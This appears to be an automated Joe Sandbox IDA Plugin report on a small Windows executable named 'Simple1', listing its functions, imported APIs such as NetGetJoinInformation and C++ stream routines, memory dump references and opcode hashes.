Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1133592946-0
Opcode ID: c72b868e27cb6210fe93b8e03fa8e66d7301bfa151cb37a32990f55088ab15a1
Instruction ID: b972cdfd03f97d3ac40a917731d2e1b79e3ef28c0df4678f98d91531cd9da4fb
Opcode Fuzzy Hash: c72b868e27cb6210fe93b8e03fa8e66d7301bfa151cb37a32990f55088ab15a1
Instruction Fuzzy Hash: AD316D21A186029EFB10FF659C55BBDE291AF417A4FC44435EA0D2B6D3DE2CE8048734

Function 00007FF7CEA93F60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF7CEA93FAC

Part of subcall function 00007FF7CEA96810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA9684A
Part of subcall function 00007FF7CEA96810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF7CEA96866
Part of subcall function 00007FF7CEA96810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA96898

NetGetJoinInformation.NETAPI32 ref: 00007FF7CEA93FC8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA94071
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA94143
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA9414D

Strings

Domain: , xrefs: 00007FF7CEA93FFE

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@D@std@@@1@@InformationJoinV?$basic_streambuf@_invalid_parameter_noinfo_noreturnmemset
String ID: Domain:
API String ID: 3601429228-3214134553
Opcode ID: e05d32c3414dced4783beb1fb8541798634a2826929863166fb91cf91aa68ad0
Instruction ID: 1e7ecfbb9013f891403c5314f82a81a04521ec630f0003e6d6a814009f937c4c
Opcode Fuzzy Hash: e05d32c3414dced4783beb1fb8541798634a2826929863166fb91cf91aa68ad0
Instruction Fuzzy Hash: E451C572A18B8589EB10EF65D8806BDB3B1FB88BA4F844132EA4D23B59DF3CD541C750

Function 00007FF7CEA99FB0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF7CEA99FDD
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF7CEA99FF7
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF7CEA9A029
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF7CEA9A054
std::_Facet_Register.LIBCPMT ref: 00007FF7CEA9A06D
??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF7CEA9A08C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9A0B7

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Concurrency::cancel_current_taskFacet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 762505753-0
Opcode ID: d6b85af30ed1ec3ab35491ff2678aa002b6a93c38241c4489de49d361cb69296
Instruction ID: 14f76f5f0ae923cf8a9c3a4a09852ac2677a91e232469f8d3e28b3ba6d453479
Opcode Fuzzy Hash: d6b85af30ed1ec3ab35491ff2678aa002b6a93c38241c4489de49d361cb69296
Instruction Fuzzy Hash: AF316122608B4189EB14BF15E84467EB3A0FB98BA4F884632DA9E17769DF3CE450C714

Function 00007FF7CEA91000 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z.MSVCP140 ref: 00007FF7CEA91011

Part of subcall function 00007FF7CEA9B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7CEA9107B), ref: 00007FF7CEA9B522

??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z.MSVCP140 ref: 00007FF7CEA91088
?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z.MSVCP140 ref: 00007FF7CEA910AD
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF7CEA910BD
?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z.MSVCP140 ref: 00007FF7CEA910CC
??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z.MSVCP140 ref: 00007FF7CEA910E0

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: Locimp@locale@std@@$??0?$codecvt@_??4?$_Addfac@_Bid@locale@std@@D@std@@Init@locale@std@@Locimp@12@_Locimp@_Mbstatet@@@std@@New_V01@V123@V123@@Vfacet@23@_Yarn@malloc
String ID:
API String ID: 3292048638-0
Opcode ID: 5a8dc9a0dc8590c58db9ef850d11c0215e570e1dc75ccd2455c4e5ab0f5e0e6a
Instruction ID: 8d66d92039b9115d371344f34d4df8661e82db28cf2e56e777bb4b5a695608bb
Opcode Fuzzy Hash: 5a8dc9a0dc8590c58db9ef850d11c0215e570e1dc75ccd2455c4e5ab0f5e0e6a
Instruction Fuzzy Hash: CC414032919B4299E700EF11EC40A3DB3A5FF48BA0F958135D94E23761DF3CA055C7A4

Function 00007FF7CEA97A10 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA97C03

Strings

, xrefs: 00007FF7CEA97A93

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-3916222277
Opcode ID: e525968f3bcce64392877eb82988f276976157d7ad8acd84272c50dfdb48e0f4
Instruction ID: fe53c17d6ae1138187c642d2fc985ffcdb47d507b5f47290d402ba3b355639d7
Opcode Fuzzy Hash: e525968f3bcce64392877eb82988f276976157d7ad8acd84272c50dfdb48e0f4
Instruction Fuzzy Hash: B9515F72608B459ADB159F2AE85467C73A0FB44BA4F944532EF5E57BA4CF38E061C320

Function 00007FF7CEA96DA0 Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df8cf8428a73b2714442bbd637f092005021725c8ab47a6cba6d15f8a732e014
Instruction ID: ca0bc90b4acd3c3769743059dae0a5e5a9aff2cd4c52547ec9af39bac3024d4f
Opcode Fuzzy Hash: df8cf8428a73b2714442bbd637f092005021725c8ab47a6cba6d15f8a732e014
Instruction Fuzzy Hash: A7316332705A428AEA659F26E9047BDA390FF84BE4F884435DF4D57761DE3CE4968310

Function 00007FF7CEA9B508 Relevance: 4.5, APIs: 3, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7CEA9107B), ref: 00007FF7CEA9B522
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9B538

Part of subcall function 00007FF7CEA9BCA4: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7CEA9BCAD
Part of subcall function 00007FF7CEA9BCA4: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF7CEA9B53D,?,?,?,00007FF7CEA9107B), ref: 00007FF7CEA9BCBE

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9B53E

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: Concurrency::cancel_current_task$ExceptionThrowmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 594857686-0
Opcode ID: 238c82254a5a0dd3bfdcea07084a0eea4643be32c8ba11d6a235a5ec125aee32
Instruction ID: 35fa8d89cb2ca743e4621a4bec37fff82a19f5d0edd72b3f89286885f8f590fb
Opcode Fuzzy Hash: 238c82254a5a0dd3bfdcea07084a0eea4643be32c8ba11d6a235a5ec125aee32
Instruction Fuzzy Hash: 2BE0EC41E295076EFF6879B12C5687DC1800F193B0EDC1B30D97F2B2C2AD1CE4558538

Function 00007FF7CEA99BD0 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z.MSVCP140 ref: 00007FF7CEA99BE5
?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z.MSVCP140 ref: 00007FF7CEA99BF1
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF7CEA99BFA

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@V12@$?flush@?$basic_ostream@_?put@?$basic_ostream@?widen@?$basic_ios@U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 2670548386-0
Opcode ID: a91e5c45519eb8f51b08b89dc2630a913814ba17e6fe4b3f6d8b063faadf772a
Instruction ID: 61a497f206caaf516ebf3fde9d336d3954b7c3287ce616edc08fcfbb754ebb8f
Opcode Fuzzy Hash: a91e5c45519eb8f51b08b89dc2630a913814ba17e6fe4b3f6d8b063faadf772a
Instruction Fuzzy Hash: 75D01221A44646C5DA086F16BC544385350AF59F51B5C9431DD0F07321CD3CD0558210

Function 00007FF7CEA99DF0 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z.MSVCP140 ref: 00007FF7CEA99E05
?put@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z.MSVCP140 ref: 00007FF7CEA99E11
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF7CEA99E1A

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?put@?$basic_ostream@_?widen@?$basic_ios@_V12@V12@_
String ID:
API String ID: 2094784882-0
Opcode ID: 7bf1451799b23f1ce879a372c8a86a1a3bb4693dc89d3fb925bfda278d19c75c
Instruction ID: be257de0554f5a373c66502e92c6cd4c4bd1e962c46f1644ed65277d097137d4
Opcode Fuzzy Hash: 7bf1451799b23f1ce879a372c8a86a1a3bb4693dc89d3fb925bfda278d19c75c
Instruction Fuzzy Hash: 20D01724B84A4686EA08AF26BC945389360AFA9F66B98A031CD0F47321CE3CD0958220

Function 00007FF7CEA96BC0 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_fseeki64.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7CEA96C31
fgetpos.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7CEA96C47

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID:
API String ID: 3401907645-0
Opcode ID: 84d1aada89cd4f08e3bbf216dfcb77ee72de2ef28ea993f6e0146b415928d795
Instruction ID: 4811ba9bf0910b37fd770c2feae2312047e5f8b2fbf82fa2b56ac6332ec52e1c
Opcode Fuzzy Hash: 84d1aada89cd4f08e3bbf216dfcb77ee72de2ef28ea993f6e0146b415928d795
Instruction Fuzzy Hash: 1A313E72614B4189EB609F1AD95077CA7A0FB88BE8F848131DE5D977A4DF38D496C310

Function 00007FF7CEA97530 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00007FF7CEA91A88), ref: 00007FF7CEA975C6
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140(?,?,?,00007FF7CEA91A88), ref: 00007FF7CEA975D7

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@Init@?$basic_streambuf@U?$char_traits@fclose
String ID:
API String ID: 356833432-0
Opcode ID: baf789e10b114cee5e0dc2a749248d1481134e019c89cdd30f75a30e5dac250a
Instruction ID: 028889853e3c5229e90cffcc6132fc9267de1c9a257143e476c9c1683601a365
Opcode Fuzzy Hash: baf789e10b114cee5e0dc2a749248d1481134e019c89cdd30f75a30e5dac250a
Instruction Fuzzy Hash: F421E432A09B4188EB459F39E85477C37A4F748F58F848036DA4D97368DF38C499C760

Function 00007FF7CEA983C0 Relevance: 1.3, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF7CEA98417

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: ff8da17e9ad61dbf7719b97cca7bcf2c3e620e3851f2e18b518f5e34869978b3
Instruction ID: 4d7f92a37c2673226a2c6340507fa1e164b97d553b69f70993a89bd0fccc07d7
Opcode Fuzzy Hash: ff8da17e9ad61dbf7719b97cca7bcf2c3e620e3851f2e18b518f5e34869978b3
Instruction Fuzzy Hash: 4C019E72B18B5482DA04AF1AF60046EA375FB88FC8B948532DF5C17B59DF3CD5A28340

Non-executed Functions

Function 00007FF7CEA9BFAC Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7CEA9BFC8
memset.VCRUNTIME140 ref: 00007FF7CEA9BFEC
RtlCaptureContext.KERNEL32 ref: 00007FF7CEA9BFF5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7CEA9C00F
RtlVirtualUnwind.KERNEL32 ref: 00007FF7CEA9C050
memset.VCRUNTIME140 ref: 00007FF7CEA9C083
IsDebuggerPresent.KERNEL32 ref: 00007FF7CEA9C0A4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7CEA9C0C1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7CEA9C0CC

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: b33f0b59232ef77628a0e21157c01a396e23f4d8de78da469aa8954c23b2d4cb
Instruction ID: 5e1aa3d6346a2a0457e6d4c25aa2fcd3e50628cbbc44ec3f466cfbd12814e9d4
Opcode Fuzzy Hash: b33f0b59232ef77628a0e21157c01a396e23f4d8de78da469aa8954c23b2d4cb
Instruction Fuzzy Hash: 71315072608B819AEB60DF60E8407FDB3A0FB84754F84443ADA4E57B95EF38D548C724

Function 00007FF7CEA9C1BC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7CEA9C1E8
GetCurrentThreadId.KERNEL32 ref: 00007FF7CEA9C1F6
GetCurrentProcessId.KERNEL32 ref: 00007FF7CEA9C202
QueryPerformanceCounter.KERNEL32 ref: 00007FF7CEA9C212

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 26322efcc4006b2a3fbf51e2f5d46ec533835fa6bb93ff54a7596d062d660e14
Instruction ID: 0f73282297d317764efa530661643c812bafcae075af818f552055ddee7e395e
Opcode Fuzzy Hash: 26322efcc4006b2a3fbf51e2f5d46ec533835fa6bb93ff54a7596d062d660e14
Instruction Fuzzy Hash: 1E114822B14F018EEB00AF60E8556BC73A4FB58768F841E31DA2D977A4DF38D1548390

Function 00007FF7CEA9C150 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7219aed77cf3d566d0c56852d0d3a0fd15ec5d75e91c4be2dfb621eecc1fe0a9
Instruction ID: 1e6e71c7875435ec4a39f84c0500fe41c7bcb43654a0babdecd7b50cec954902
Opcode Fuzzy Hash: 7219aed77cf3d566d0c56852d0d3a0fd15ec5d75e91c4be2dfb621eecc1fe0a9
Instruction Fuzzy Hash: 73A0022194CC06E8EA44AF00FD50939A370FB50760BD18435E10E630B59F3CA420C328

Function 00007FF7CEA98BE0 Relevance: 15.3, APIs: 10, Instructions: 333COMMON

Download Yara Rule

APIs

?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF7CEA98CC0
memcpy.VCRUNTIME140 ref: 00007FF7CEA98D7D
memcpy.VCRUNTIME140 ref: 00007FF7CEA98FA9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA98FDE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9901D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA99060
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA99099
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9909F
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA990A5

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn$memcpy$?out@?$codecvt@Mbstatet@@Mbstatet@@@std@@
String ID:
API String ID: 4130688501-0
Opcode ID: 01f669d44c414489c0d11f8e075951c8e79cb506ac8647b793a89054146f820e
Instruction ID: d1e4c7a7cee1fb9e307430874d9e57f45d1d35c4e09802ad9b2ae03b19177268
Opcode Fuzzy Hash: 01f669d44c414489c0d11f8e075951c8e79cb506ac8647b793a89054146f820e
Instruction Fuzzy Hash: 9ED1C122F19B419DFB14EF64E840BBCA3A1AB497A4F814231DE6D27B95DF3CD4858314

Function 00007FF7CEA9B250 Relevance: 13.6, APIs: 9, Instructions: 131COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF7CEA9B2B5
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF7CEA9B2D5
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF7CEA9B2E5
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF7CEA9B32C
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF7CEA9B359
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF7CEA9B37A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF7CEA9B3C0
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF7CEA9B3C7
